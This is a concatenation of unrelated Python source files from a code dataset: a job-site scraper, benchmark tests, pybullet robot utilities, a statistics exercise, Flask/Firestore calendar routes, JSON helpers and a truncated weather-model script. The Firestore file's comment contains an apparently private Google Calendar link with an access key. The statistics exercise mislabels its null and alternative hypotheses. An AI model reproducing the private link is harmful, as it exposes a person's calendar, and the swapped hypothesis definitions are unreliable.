weboob.browser.elements import ItemElement, ListElement, method\nfrom weboob.browser.filters.standard import Regexp, CleanText, Env, BrowserURL, Filter, Join\nfrom weboob.browser.filters.html import XPath\n\n\nimport re\nfrom datetime import datetime, timedelta\n\n\nclass PoleEmploiDate(Filter):\n def filter(self, el):\n days = 0\n if el == u'Publié aujourd\\'hui':\n days = 0\n elif el == u'Publié hier':\n days = 1\n else:\n m = re.search(u'Publié il y a (\\d*) jours', el)\n if m:\n days = int(m.group(1))\n\n return datetime.now() - timedelta(days=days)\n\n\nclass SearchPage(HTMLPage):\n @method\n class iter_job_adverts(ListElement):\n item_xpath = '//ul[has-class(\"result-list\")]/li'\n\n class item(ItemElement):\n klass = BaseJobAdvert\n\n obj_id = CleanText('./@data-id-offre')\n obj_contract_type = CleanText('./div/div/p[@class=\"contrat\"]')\n obj_title = CleanText('./div/div/h2')\n obj_society_name = CleanText('./div/div/p[@class=\"subtext\"]',\n children=False, replace=[('-', '')])\n obj_place = CleanText('./div/div/p[@class=\"subtext\"]/span')\n obj_publication_date = PoleEmploiDate(CleanText('./div/div/p[@class=\"date\"]'))\n\n\nclass AdvertPage(HTMLPage):\n @method\n class get_job_advert(ItemElement):\n klass = BaseJobAdvert\n\n obj_id = Env('id')\n obj_url = BrowserURL('advert', id=Env('id'))\n obj_title = CleanText('//div[@class=\"modal-body\"]/h2')\n obj_job_name = CleanText('//div[@class=\"modal-body\"]/h2')\n obj_description = CleanText('//div[has-class(\"description\")]/p')\n obj_society_name = CleanText('//div[@class=\"media-body\"]/h4')\n obj_experience = Join(u'- ',\n '//h4[contains(text(), \"Exp\")]/following-sibling::ul[has-class(\"skill-list\")][1]/li',\n newline=True,\n addBefore='\\n- ')\n obj_formation = Join(u'- ',\n '//h4[contains(text(), \"For\")]/following-sibling::ul[has-class(\"skill-list\")][1]/li',\n newline=True,\n addBefore='\\n- ')\n\n obj_place = CleanText('//div[@class=\"modal-body\"]/h2/following-sibling::p[1]')\n obj_publication_date = PoleEmploiDate(CleanText('//div[@class=\"modal-body\"]/h2/following-sibling::p[2]'))\n\n def parse(self, el):\n for el in XPath('//dl[@class=\"icon-group\"]/dt')(el):\n dt = CleanText('.')(el)\n if dt == u'Type de contrat':\n self.obj.contract_type = CleanText('./following-sibling::dd[1]')(el)\n elif dt == u'Salaire':\n self.obj.pay = Regexp(CleanText('./following-sibling::dd[1]'),\n u'Salaire : (.*)')(el)\n","repo_name":"laurentb/weboob","sub_path":"modules/popolemploi/pages.py","file_name":"pages.py","file_ext":"py","file_size_in_byte":3042,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"75"} +{"seq_id":"36959342946","text":"import pytest\n\nfrom memvscomp_benchmark import convolute, convoluteT\nfrom memvscomp_benchmark import ExecutionPlan, makeTasks, clockTasks, doBenchmark, benchmark\n\n\ndef test_convolute_runs():\n\n\tdatas = [ [1,2,3]]\n\tpatterns = [ [2, 3, 4]]\n\tmemalloc = False\n\n\tres = convolute(datas, patterns, memalloc)\n\n\tassert res != 0\n\n\tmemalloc = True\n\tres = convolute(datas, patterns, memalloc)\n\n\tassert res != 0\n\n\ndef test_convoluteT_runs():\n\n datas = [ [1,2,3]]\n patterns = [ [2, 3, 4]]\n memalloc = False\n\n res = convoluteT((datas, patterns, memalloc))\n\n\n\ndef test_executionpplan_inits():\n\n\tplan = ExecutionPlan(2, True)\n\tassert plan.threads == 2\n\tassert plan.memalloc\n\n\ndef test_makeData():\n\tplan = ExecutionPlan(2, True)\n\tdata = plan.makeData(3)\n\tassert len(data)==3\n\tassert data[0] > 0\n\ndef test_makeDatas():\n\tplan = ExecutionPlan(2, True)\n\t\n\tdatas = plan.makeDatas(4,3)\n\tassert len(datas) == 4\n\tdata = datas[3]\n\tassert len(data) == 3\n\n\ndef test_makeTaks():\n\tplan = ExecutionPlan(2, True)\n\n\ttasks = makeTasks(plan)\n\n\tfor task in tasks:\n\t\t#print(task)\n\t\tdata, patterns, memalloc = task\n\t\tassert patterns == plan.patterns\n\t\tassert memalloc == plan.memalloc\n\t\tassert len(data) == plan.chunk\n\n\tassert len(tasks) == 64*5-1\n\n\ndef test_clockTasks():\n\n\ttask = ([[1, 2, 3]], [[2, 3, 4]], False)\n\tres = convoluteT(task)\n\n\ttasks = [task]\n\tthreads = 1\n\n\tdur, val = clockTasks(tasks, threads)\n\n\tassert dur >= 0\n\tassert dur <= 10\n\tassert val == res\n\n@pytest.mark.skip(reason=\"for speeding up\")\ndef test_doBenchmark():\n\tthreadss = [ 1, 4, 8 ]\n\tmemallocs = [ False ]\n\n\ttimes = doBenchmark([16], memallocs, 5, True)\n\n\ttimes = doBenchmark(threadss, memallocs, 5, True)\n\t\n\tfor r in times:\n\t\tprint(r)\n\n\tassert len(times) == 2\n\t#assert len(times) == 1\n\n\n@pytest.mark.skip(reason=\"for speeding up\")\ndef test_benchmark():\n\tbenchmark()\n\tassert False\n","repo_name":"tzielins/py-performance-test","sub_path":"test_memvscomp_benchmark.py","file_name":"test_memvscomp_benchmark.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1259459869","text":"import numpy as np\nimport pybullet as p\nimport time\n\ndef plot_traj(xs, obj_id, dt = 0.01):\n for x in xs:\n p.resetBasePositionAndOrientation(obj_id, x[:3], (0,0,0,1))\n time.sleep(dt)\n \ndef create_obstacles(obstacles, colors = None):\n obstacle_ids = []\n if colors is None: \n colors = [[1.,1.,0.,1.],[0.,1.,1.,1.], [1.,0.,1.,1.], [.7,.7,.7,1.], [.3,.3,0.3,1.]]\n for i,obstacle in enumerate(obstacles):\n if 'obs_type' in list(obstacle.keys()):\n obs_type = obstacle['obs_type']\n else:\n obs_type = p.GEOM_SPHERE\n \n if obs_type == p.GEOM_SPHERE:\n _,_,obs_id = create_primitives(obs_type, radius =obstacle['rad'], basePosition=np.zeros(3), rgbaColor=colors[i])\n elif obs_type == p.GEOM_BOX:\n _,_,obs_id = create_primitives(obs_type, halfExtents=obstacle['halfExtents'], basePosition=np.zeros(3), rgbaColor=colors[i])\n elif obs_type == p.GEOM_CAPSULE:\n _,_,obs_id = create_primitives(obs_type, radius=obstacle['rad'], length=obstacle['length'], basePosition=np.zeros(3), rgbaColor=colors[i])\n \n p.resetBasePositionAndOrientation(obs_id, obstacle['pos'], (0,0,0,1)) \n obstacle['obs_id'] = obs_id\n obstacle_ids.append(obs_id)\n return obstacle_ids\n \ndef init_pybullet(x0, x_target, obstacles, model='pointmass', globalScaling=0.3, colors = None):\n '''\n Return: obj_id, init_id, target_id, border_id, obstacle_ids\n '''\n p.resetSimulation()\n\n if model == 'pointmass':\n _,_,obj_id = create_primitives(rgbaColor=[0,0,1,1],radius = 0.04)\n elif model == 'quadcopter':\n obj_id = p.loadURDF(\"../data/urdf/quadrotor.urdf\",[0,0,0],p.getQuaternionFromEuler([0,0,0]), globalScaling=globalScaling)\n \n _,_,init_id = create_primitives(radius = 0.04, rgbaColor=[1,0,0,1.])\n _,_,target_id = create_primitives(radius = 0.04, rgbaColor=[0,1,0,1.])\n _,_,border_id = create_primitives(rgbaColor=[0,0,1,0.1], shapeType=p.GEOM_BOX, halfExtents=[1.,1.,1.])\n obstacle_ids = create_obstacles(obstacles, colors)\n \n p.resetBasePositionAndOrientation(init_id, x0[:3], (0,0,0,1))\n p.resetBasePositionAndOrientation(target_id, x_target[:3], (0,0,0,1))\n return obj_id, init_id, target_id, border_id, obstacle_ids\n\ndef create_primitives(shapeType=2, rgbaColor=[1, 1, 0, 1], pos = [0, 0, 0], radius = 1, length = 2, halfExtents = [0.5, 0.5, 0.5], baseMass=1, basePosition = [0,0,0]):\n visualShapeId = p.createVisualShape(shapeType=shapeType, rgbaColor=rgbaColor, visualFramePosition=pos, radius=radius, length=length, halfExtents = halfExtents)\n collisionShapeId = p.createCollisionShape(shapeType=shapeType, collisionFramePosition=pos, radius=radius, height=length, halfExtents = halfExtents)\n bodyId = p.createMultiBody(baseMass=baseMass,\n baseInertialFramePosition=[0, 0, 0],\n baseVisualShapeIndex=visualShapeId,\n baseCollisionShapeIndex=collisionShapeId, \n basePosition=basePosition,\n useMaximalCoordinates=True)\n return visualShapeId, collisionShapeId, bodyId\n\nimport pybullet as p\nimport numpy as np\nimport pinocchio as pin\n# import transforms3d\nimport time\n\n#pb_joint_indices = np.array(list(np.arange(45,51)) + list(np.arange(52,58)) + [0, 1] + \\\n# list(np.arange(11,18)) +[21] + list(np.arange(28,35)) + [38,3,4]).astype(int)\n# pb_joint_indices = np.array([45, 46, 47, 48, 49, 50, 52, 53, 54, 55, 56, 57, 0, 1, 11, 12, 13,\n# 14, 15, 16, 17, 28, 29, 30, 31, 32, 33, 34])\ntf_joint_indices = np.array([ 0, 1, 28, 29, 30, 31, 32, 33, 34, 11, 12, 13, 14, 15, 16, 17, 52, 53, 54, 55, 56, 57, 45, 46, 47, 48, 49, 50])#r 'right, left'\npb_joint_names_complete = ['torso_1_joint', 'torso_2_joint', 'imu_joint', \n 'head_1_joint', 'head_2_joint', 'rgbd_joint', \n 'rgbd_optical_joint', 'rgbd_depth_joint', \n 'rgbd_depth_optical_joint', 'rgbd_rgb_joint', \n 'rgbd_rgb_optical_joint', 'arm_left_1_joint', \n 'arm_left_2_joint', 'arm_left_3_joint',\n 'arm_left_4_joint', 'arm_left_5_joint', \n 'arm_left_6_joint', 'arm_left_7_joint', \n 'wrist_left_ft_joint', 'wrist_left_tool_joint', \n 'gripper_left_base_link_joint', 'gripper_left_joint', \n 'gripper_left_inner_double_joint', \n 'gripper_left_fingertip_1_joint', \n 'gripper_left_fingertip_2_joint', \n 'gripper_left_motor_single_joint',\n 'gripper_left_inner_single_joint', \n 'gripper_left_fingertip_3_joint', 'arm_right_1_joint',\n 'arm_right_2_joint', 'arm_right_3_joint', \n 'arm_right_4_joint', 'arm_right_5_joint', \n 'arm_right_6_joint', 'arm_right_7_joint', \n 'wrist_right_ft_joint', 'wrist_right_tool_joint',\n 'gripper_right_base_link_joint', 'gripper_right_joint', \n 'gripper_right_inner_double_joint', \n 'gripper_right_fingertip_1_joint', \n 'gripper_right_fingertip_2_joint',\n 'gripper_right_motor_single_joint', \n 'gripper_right_inner_single_joint', \n 'gripper_right_fingertip_3_joint', \n 'leg_left_1_joint', 'leg_left_2_joint', \n 'leg_left_3_joint', 'leg_left_4_joint',\n 'leg_left_5_joint', 'leg_left_6_joint', \n 'leg_left_sole_fix_joint', 'leg_right_1_joint', \n 'leg_right_2_joint', 'leg_right_3_joint', \n 'leg_right_4_joint', 'leg_right_5_joint', \n 'leg_right_6_joint', 'leg_right_sole_fix_joint']\n\nq0Complete = np.array([ 0. , 0. , 1.019272, 0. , 0. , 0.,\n 1., 0.00000e+00 , 0.00000e+00, -4.11354e-01 , 8.59395e-01 ,-4.48041e-01,\n -1.70800e-03 , 0.00000e+00 , 0.00000e+00 ,-4.11354e-01 , 8.59395e-01,\n -4.48041e-01 ,-1.70800e-03 , 0.00000e+00 , 6.76100e-03, 2.58470e-01,\n 1.73046e-01 ,-2.00000e-04 ,-5.25366e-01 , 0.00000e+00 , 0.00000e+00,\n 1.00000e-01 , 1.00000e-01 ,-1.73046e-01 , 2.00000e-04,\n -5.25366e-01 , 0.00000e+00 , 0.00000e+00 , 1.00000e-01 ])\n\n\ndef get_pb_config(q):\n \"\"\"\n Convert tf's format of 'joint angles + base position' to\n 'base_pos + base_ori + joint_angles' according to pybullet order\n \"\"\"\n joint_angles = q[:28]\n #qnew = np.concatenate([q[28:31], euler2quat(q[-3:]),\n #qnew = np.concatenate([np.array([0,0,q[28]]), euler2quat(q[-3:]),\n qnew = np.concatenate([q[28:31], euler2quat(np.array([0,0,0])),\n joint_angles[-6:], joint_angles[-12:-6], \n joint_angles[:2], joint_angles[9:16], \n joint_angles[2:9]])\n return qnew\n\ndef get_tf_config(q):\n \"\"\"\n Convert 'base_pos + base_ori + joint_angles' according to pybullet order\n to tf's format of 'joint angles + base position'\n \n \"\"\"\n joint_angles = q[7:]\n qnew = np.concatenate([joint_angles[12:14], joint_angles[-7:], \n joint_angles[-14:-7], joint_angles[6:12], \n joint_angles[:6], q[:3]])\n return qnew\n\n\ndef normalize(x):\n return x/np.linalg.norm(x)\n \ndef set_q(robot_id, joint_indices, q, set_base = False):\n if set_base:\n localInertiaPos = np.array(p.getDynamicsInfo(robot_id,-1)[3])\n q_root = q[0:7]\n ori = q_root[3:]\n Rbase = np.array(p.getMatrixFromQuaternion(ori)).reshape(3,3)\n shift_base = Rbase.dot(localInertiaPos)\n pos = q_root[:3]+shift_base\n p.resetBasePositionAndOrientation(robot_id,pos,ori)\n q_joint = q[7:]\n else:\n q_joint = q\n \n #set joint angles\n for i in range(len(q_joint)):\n p.resetJointState(robot_id, joint_indices[i], q_joint[i])\n\n\ndef vis_traj(qs, vis_func, dt=0.1):\n for q in qs:\n vis_func(q)\n time.sleep(dt)\n\n\ndef get_joint_limits(robot_id, indices):\n lower_limits = []\n upper_limits = []\n for i in indices:\n info = p.getJointInfo(robot_id, i)\n lower_limits += [info[8]]\n upper_limits += [info[9]]\n limits = np.vstack([lower_limits, upper_limits])\n return limits\n\ndef computeJacobian(rmodel,rdata,ee_frame_id,q):\n pin.forwardKinematics(rmodel,rdata,q)\n pin.updateFramePlacements(rmodel,rdata)\n pin.computeJointJacobians(rmodel, rdata, q)\n J = pin.getFrameJacobian(rmodel, rdata,ee_frame_id, pin.ReferenceFrame.LOCAL_WORLD_ALIGNED)\n return J[:,:7]\n\ndef computePose(rmodel, rdata, ee_frame_id, q):\n pin.forwardKinematics(rmodel, rdata, q)\n pin.updateFramePlacements(rmodel, rdata)\n pos, ori = rdata.oMf[ee_frame_id].translation, rdata.oMf[ee_frame_id].rotation\n return pos,ori\n \ndef check_joint_limits(q, joint_limits):\n \"\"\"\n Return True if within the limit\n \"\"\"\n upper_check = False in ((q-joint_limits[0]) > 0)\n lower_check = False in ((joint_limits[1]-q) > 0)\n if upper_check or lower_check:\n return False\n else:\n return True\n \ndef calc_dist_limit(q, joint_limits):\n lower_error = joint_limits[0]-q\n lower_check = (lower_error > 0)\n lower_error = lower_error*lower_check\n upper_error = q-joint_limits[1]\n upper_check = (upper_error > 0)\n upper_error = upper_error*upper_check\n error = lower_error-upper_error\n return error\n \ndef mat2euler(rot, axes = 'rzyx'):\n return np.array(transforms3d.euler.mat2euler(rot, axes = axes))\n\ndef euler2quat(rpy, axes='sxyz'):\n #euler sxyz: used by Manu's codes\n return rectify_quat(transforms3d.euler.euler2quat(*rpy, axes=axes))\n\ndef rectify_quat(quat):\n #transform from transforms3d format (w,xyz) to pybullet and pinocchio (xyz, w)\n quat_new = np.concatenate([quat[1:], quat[0:1]])\n return quat_new\n\ndef mat2w(rot):\n rot_aa = pin.AngleAxis(rot)\n return rot_aa.angle*rot_aa.axis\n\ndef w2quat(q):\n angle = np.linalg.norm(q)\n if abs(angle) < 1e-7:\n ax = np.array([1,0,0])\n else:\n ax, angle = normalize(q), np.linalg.norm(q)\n w = p.getQuaternionFromAxisAngle(ax, angle)\n return np.array(w)\n\ndef quat2w(q):\n ax, angle = p.getAxisAngleFromQuaternion(q)\n return np.array(ax)*angle\n\ndef w2mat(w):\n angle = np.linalg.norm(w)\n if abs(angle) < 1e-7:\n ax = np.array([1,0,0])\n else:\n ax, angle = w/angle, angle\n R = pin.AngleAxis.toRotationMatrix(pin.AngleAxis(angle, ax))\n return R\n\ndef get_link_base(robot_id, frame_id):\n '''\n Obtain the coordinate of the link frame, according to the convention of pinocchio (at the link origin, \n instead of at the COM as in pybullet)\n '''\n p1 = np.array(p.getLinkState(robot_id,frame_id)[0])\n ori1 = np.array(p.getLinkState(robot_id,frame_id)[1])\n R1 = np.array(p.getMatrixFromQuaternion(ori1)).reshape(3,3)\n p2 = np.array(p.getLinkState(robot_id,frame_id)[2])\n return p1 - R1.dot(p2), ori1\n","repo_name":"idiap/ttgo","sub_path":"manipulator/panda_visualization_utils.py","file_name":"panda_visualization_utils.py","file_ext":"py","file_size_in_byte":11375,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"15201692213","text":"# Q11. A random sample of 30 people was selected from a population with an unknown mean and standard\r\n# deviation. The sample mean was found to be 72 and the sample standard deviation was found to be 10.\r\n# Conduct a hypothesis test to determine if the population mean is significantly different from 70. Use a\r\n# significance level of 0.05.\r\n\r\nsample_size = 30 \r\nsample_mean = 72\r\nsample_std = 10\r\npopulation_mean = 70\r\nconfidence_interval = 95\r\n\r\nz_value1 = 1.96\r\nz_value2 = -1.96\r\n# This is Two tail test\r\n# Null Hypothesis Ho - there is significant change\r\n# Alternate Hypothesis Ho - there is no significant change\r\n\r\nz_score = (population_mean - sample_mean)/(sample_std/(sample_size**0.5))\r\nprint(z_score)\r\n\r\nif z_score > z_value1 or z_score < z_value2:\r\n print(\"We Reject the Null Hypothesis\")\r\nelse:\r\n print(\"accept the null hypothesis\")\r\n","repo_name":"Gourav-personal01/Statistics_Assignment_7","sub_path":"Question11.py","file_name":"Question11.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7618329505","text":"import cc\nimport cc.web\n\nclass Process(cc.web.QueryHandler):\n def do_root(self, request):\n if request.has_json():\n return (200, request.format_json({'version':str(cc.__version__)}))\n return (200, '%s\\n' % str(cc.__version__))\n\n def do_selfhangup(self, request):\n agentid = str(request.get('agentid'))\n if request.has_json():\n return (200, request.format_json({'agentid':agentid}))\n return (200, agentid)\n\n def do_test(self, request):\n agentid = str(request.get('agentid'))\n hangup = str(request.get('hangup'))\n if request.has_json():\n return (200, request.format_json({'agentid':agentid, 'hangup': 'true'}))\n return (200, agentid+' '+hangup)\n\n","repo_name":"mike-plivo/deprecated-utils","sub_path":"wsgi/cc/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"73952254963","text":"from __future__ import annotations\n\nimport json\nfrom typing import Any\n\nimport commentjson\nimport orjson\n\nJSON_ENCODE_EXCEPTIONS = (TypeError, ValueError)\nJSON_DECODE_EXCEPTIONS = (json.JSONDecodeError, orjson.JSONDecodeError)\n\n\ndef loads(s: str | bytes | bytearray | memoryview) -> Any:\n \"\"\"Load json or fallback to commentjson.\n\n We try to load the json with built-in json, and\n if it fails with JSONDecodeError we fallback to\n the slower but more tolerant commentjson to\n accomodate devices that use trailing commas\n in their json since iOS allows it.\n\n This approach ensures only devices that produce\n the technically invalid json have to pay the\n price of the double decode attempt.\n \"\"\"\n try:\n return orjson.loads(s)\n except orjson.JSONDecodeError:\n return commentjson.loads(s)\n\n\ndef dumps(data: Any) -> str:\n \"\"\"JSON encoder that uses orjson.\"\"\"\n return dump_bytes(data).decode(\"utf-8\")\n\n\ndef dump_bytes(data: Any) -> str:\n \"\"\"JSON encoder that works with iOS.\n\n An iPhone sends JSON like this:\n\n {\"characteristics\":[{\"iid\":15,\"aid\":2,\"ev\":true}]}\n\n Some devices (Tado Internet Bridge) depend on this some of the time.\n\n orjson natively generates output with no spaces.\n \"\"\"\n return orjson.dumps(data, option=orjson.OPT_NON_STR_KEYS)\n\n\ndef dumps_indented(data: Any) -> str:\n \"\"\"JSON encoder that uses orjson with indent.\"\"\"\n return orjson.dumps(\n data,\n option=orjson.OPT_INDENT_2 | orjson.OPT_NON_STR_KEYS,\n ).decode(\"utf-8\")\n","repo_name":"Jc2k/aiohomekit","sub_path":"aiohomekit/hkjson.py","file_name":"hkjson.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"75"} +{"seq_id":"28959691827","text":"import pandas as pd\nimport pickle\nimport constant\nimport sklearn\nimport time\n\nif __name__ == '__main__':\n start_time = time.time()\n print('Loading model ...')\n model = pickle.load(open('D:/model_lir.model', 'rb'))\n\n test_file = constant.get_test_merge_file()\n i=0\n print('Start predict test')\n for df in pd.read_csv(test_file, header=0, chunksize=100000):\n print('Predict pack',i)\n df = df.drop([constant.DOCUMENT_GEO_LOCATION_COLUMN_NAME, constant.USER_ID_COLUMN_NAME], axis=1)\n # df_scale = pd.DataFrame(sklearn.preprocessing.scale(df), columns=df.columns)\n predict = model.predict(df)\n df_result = df[[constant.DISPLAY_ID_COLUMN_NAME, constant.AD_ID_COLUMN_NAME]]\n df_result = df_result.reset_index(drop=True)\n df_predict = pd.DataFrame(predict)\n df_result = pd.concat([df_result, df_predict], axis=1)\n out_filename = constant.get_predict_result_folder() + constant.PREDICT_RESULT_FILE_PREFIX + str(i).zfill(5)\n df_result.to_csv(out_filename, index=None, header=None)\n i=i+1\n\n print('Predict done:',time.time()-start_time)\n","repo_name":"duonghm93/-VNLAB-Outbrain","sub_path":"experiment/predict_test_file.py","file_name":"predict_test_file.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"45128544844","text":"# from flask import Blueprint, request, jsonify, make_response, abort\nfrom os import environ\nfrom app import db \nfrom ics import Calendar, Event\nfrom flask import Blueprint, request, jsonify, make_response, abort\nimport requests\nfrom datetime import datetime, timedelta, timezone, date, time\nfrom dateutil import parser\n\n# url = https://calendar.google.com/calendar/ical/v2u22eu9fu46ia671hf2lns0m8%40group.calendar.google.com/private-019bf05ca8425d86706d4dca2909a891/basic.ics\"\n# c = Calendar(requests.get(url).text)\n# print(c)\n\ncollection = db.collection('users')\n# doc = collection.document('AM4Y8EdoOQVeHZL7z11DNmvZ4LZ2')\n\nfirestore_bp = Blueprint('firestore', __name__, url_prefix=\"/firestore\")\n\n# # Get calendar link\n# @calendar_bp.route(\"\", methods=[\"GET\"])\n# def get_calendar():\n# request_body = request.get_json()\n# url = request_body[\"url\"]\n# user = request_body[\"uid\"]\n# doc = collection.document(user)\n# c = Calendar(requests.get(url).text)\n \n# calendar = {\"calendar_details\": str(c)}\n\n# # return jsonify(c)\n# return make_response(calendar, 200)\n\n\n# Get user_info from firestore\n@firestore_bp.route(\"\", methods=[\"GET\"])\ndef get_firestore_user_doc():\n request_body = request.get_json()\n url = request_body[\"url\"]\n user = request_body[\"uid\"]\n doc = collection.document(user)\n res = doc.get().to_dict()\n\n return make_response(res, 200)\n\n# Get events next (work on this after reminders)\n\n# Get events today\n# @firestore_bp.route(\"events/today\", methods=[\"GET\"])\n# done in swift\n\n# Post events today\n@firestore_bp.route(\"events/today\", methods=[\"POST\"])\ndef post_firestore_events_today():\n request_body = request.get_json()\n\n user = request_body[\"uid\"]\n url = collection.document(user).get().to_dict()[\"url\"]\n\n c = Calendar(requests.get(url).text)\n\n now_with_micro_sec = datetime.now(timezone.utc)\n # date_time_now = now_with_micro_sec.isoformat(\" \", \"seconds\")\n date_now = str(now_with_micro_sec.date())\n # time_now = date_time_now[11:]\n\n doc = collection.document(user).collection('user_info').document('events').collection('events_today')\n\n for event in c.events: \n event_name = event.name\n start = str(event.begin)\n # end = str(event.end)\n event_date = start[0:10]\n event_time = start[11:16]\n if not event.location:\n location = \"None\"\n else:\n location = event.location\n description = event.description\n if \".com\" in description:\n location = \"virtual\"\n\n if event_date == date_now:\n data = {\n \"event_name\": event_name,\n \"start_time\": event_date,\n \"event_time\": event_time,\n \"location\":location,\n \"description\":description\n }\n doc.document(event_name).set(data)\n\n # response = today_dict\n return make_response(\"posted\", 200)\n\n# Get events week (may have time for this)\n\n# Post reminder preferences (called by setting reminder preferences) (returns dateInfo so Swift can set notifications)\n@firestore_bp.route(\"reminders/preferences\", methods=[\"POST\"])\ndef post_reminder_preferences():\n # get uid from body\n request_body = request.get_json()\n user = request_body[\"uid\"]\n\n # get url from firebase\n url = collection.document(user).get().to_dict()[\"url\"]\n c = Calendar(requests.get(url).text)\n\n # save preferences\n every = int(request_body[\"every\"])\n freq = int(request_body[\"freq\"])\n # total = every * freq\n\n # get non-edited events and edit events with preferences \n doc = collection.document(user).collection('user_info').document('events').collection('reminders')\n\n for event in c.events:\n # print(f'{doc.id} => {doc.to_dict()}')\n event_name = event.name\n start = str(event.begin)\n event_date = start[0:10]\n event_time = start[11:19]\n if not event.location:\n location = \"None\"\n else:\n location = event.location\n description = event.description\n if \".com\" in description:\n location = \"virtual\"\n str_date_time = event_date + \" \" + event_time\n date_time = parser.parse(str_date_time)\n\n # i = 0\n for i in range(0,freq):\n time_change = timedelta(minutes=every)\n reminder = date_time - time_change\n # reminder_date = str(reminder)[0:10]\n reminder_name = f\"{event_name}_Reminder{i+1}\"\n reminder_day = str(reminder)[8:10]\n reminder_month = str(reminder)[5:7]\n reminder_year = str(reminder)[0:4]\n reminder_hour = str(reminder)[11:13]\n reminder_minute = str(reminder)[14:16]\n\n data = {\n \"day\": reminder_day,\n \"month\": reminder_month,\n \"year\": reminder_year,\n \"hour\": reminder_hour,\n \"minute\": reminder_minute,\n \"event_name\": event_name,\n \"event_date\": event_date,\n \"event_time\": event_time,\n \"location\": location,\n \"description\": description\n }\n # save reminders\n doc.document(reminder_name).set(data)\n\n return make_response(\"posted\", 200)\n\n# Get reminders (may have time for this)\n\n# Posts events from calendar onto events doc and url into user <uid> doc\n@firestore_bp.route(\"events\", methods=[\"POST\"])\ndef post_to_subcollection():\n request_body = request.get_json()\n url = request_body[\"url\"]\n user = request_body[\"uid\"]\n address = {'url': url}\n\n c = Calendar(requests.get(url).text)\n\n events_dict = {}\n\n for event in c.events:\n event_name = event.name\n start = str(event.begin)\n end = str(event.end)\n event_date = start[0:10]\n event_time = start[11:]\n\n event_day = start[8:10]\n event_month = start[5:7]\n event_year = start[0:4]\n event_hour = start[11:13]\n event_minute = start[14:16]\n if not event.location:\n location = \"None\"\n else:\n location = event.location\n description = event.description\n if \".com\" in description:\n location = \"virtual\"\n data = {\n \"day\": event_day,\n \"month\": event_month,\n \"year\": event_year,\n \"hour\": event_hour,\n \"minute\": event_minute,\n \"location\": location,\n \"description\": description\n }\n\n collection.document(user).collection('user_info').document(event_name).set(data)\n\n # doc = collection.document(user).collection('user_info').document('events')\n # doc.set(events_dict)\n collection.document(user).update(address)\n return make_response(\"posted\", 200)\n","repo_name":"mobregong/calendar-buddy-back-end","sub_path":"app/routes/firestore_routes.py","file_name":"firestore_routes.py","file_ext":"py","file_size_in_byte":6848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22539896693","text":"print(\">>> Importing libraries\", end=\"\\t\\t\")\n\nimport numpy as np\nfrom keras.layers import (\n Flatten,\n Dense,\n SimpleRNN,\n LSTM,\n BatchNormalization,\n Conv1D,\n Dropout,\n Input,\n)\nimport keras\nfrom tqdm import tqdm\nimport tensorflow as tf\nfrom logging import ERROR\nimport Weather_Data as wd\n\ntf.data.experimental.enable_debug_mode()\n\n# Убираем предупреждения\nimport os\nos.environ[\"TF_CPP_MIN_LOG_LEVEL\"] = \"3\"\ntf.get_logger().setLevel(ERROR)\n\nprint(\"Done\")\n\n\ndef what_device_use(device=\"cpu\"):\n # Работаем с CPU\n tf.config.set_visible_devices([], \"GPU\")\n\n if device.lower() == \"gpu\":\n # Работаем с GPU\n tf.config.set_visible_devices(tf.config.list_physical_devices(\"GPU\"), \"GPU\")\n\n\ndef load_data(name_db=\"moscow\", how_many_context_days=20):\n \"\"\"Загружаем данные\"\"\"\n global train_data, train_data_answer\n print(\"\\n>>> Loading and processing Dataset\", end=\"\\t\\t\")\n\n # В wd.get_moscow_data 167_217 записей (все данные идут с шагом в 3 часа)\n # В wd.get_fresh_data 1_455 записей (данные за последние 60 дней, идут с шагом в 3 часа)\n\n DATA = wd.get_moscow_data()\n if name_db == \"fresh\":\n DATA = wd.get_fresh_data(how_many_context_days)\n\n \"\"\"DATA_in == Данные погоды, начиная с 1й записи (принимает)\n DATA_out == Данные погоды, начиная с 2й записи (должен предсказать)\"\"\"\n\n # Создаём смещени назад во времени\n DATA_in = DATA[:-1]\n DATA_out = DATA[1:]\n\n # Преобразуем данные\n DATA_in = np.array(DATA_in).reshape((len(DATA_out), 1, 8))\n DATA_out = np.array(DATA_out).reshape((len(DATA_out), 1, 8))\n\n # Остаточное обучение\n DATA_out = DATA_in - DATA_out\n # ИИшке не надо предсказывать время\n DATA_out = DATA_out[:, :, 3:]\n # Нормализуем (чтобы ИИшка могла как можно шире )\n DATA_out = wd.normalize(DATA_out)\n\n train_data = DATA_in\n train_data_answer = DATA_out\n\n print(\"Done\\n\")\n\n\ndef ai_name(name):\n \"\"\"Всякие функции\"\"\"\n\n global get_save_path, get_save_name, get_start_with, save_ai, load_ai\n\n def get_save_path(ai_name):\n return f\"./Saves_Weather_Prophet/{ai_name}\"\n\n def get_save_name(num):\n return f\"{name}~{num}\"\n\n def save_ai(num):\n print(f\"\\n>>> Saving the {get_save_name(num)} (Ignore the WARNING)\", end=\"\\t\\t\")\n ai.save(get_save_path(get_save_name(num)))\n print(\"Done\\n\")\n\n def get_start_with(start_with=-1):\n # Вычисляем номер последнего сохранения с текущем именем\n if start_with == -1:\n try:\n saves = []\n for save_name in os.listdir(\"Saves_Weather_Prophet\"):\n if get_save_name(0)[:-2] in save_name:\n saves.append(save_name)\n\n assert saves != [], f\"Нет ни одного сохранения с именем {get_save_name(0)[:-2]}\"\n\n start_with = int(sorted(saves)[-1].split(\"~\")[-1])\n except BaseException:\n return 0\n\n return start_with\n\n def load_ai(load_with=-1, print_summary=False):\n \"\"\"ЗАГРУЖАЕМСЯ\"\"\"\n global ai\n\n # Вычисляем номер последнего сохранения с текущем именем\n loading_with 